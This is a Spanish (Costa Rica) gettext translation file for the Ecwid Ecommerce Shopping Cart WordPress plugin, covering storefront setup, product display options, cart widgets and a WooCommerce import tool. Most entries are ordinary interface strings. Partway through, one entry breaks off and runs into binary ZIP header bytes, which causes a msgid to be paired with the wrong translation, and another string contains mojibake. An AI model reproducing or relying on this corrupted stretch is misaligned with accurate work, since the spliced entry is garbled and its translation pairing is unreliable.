templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CR.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: 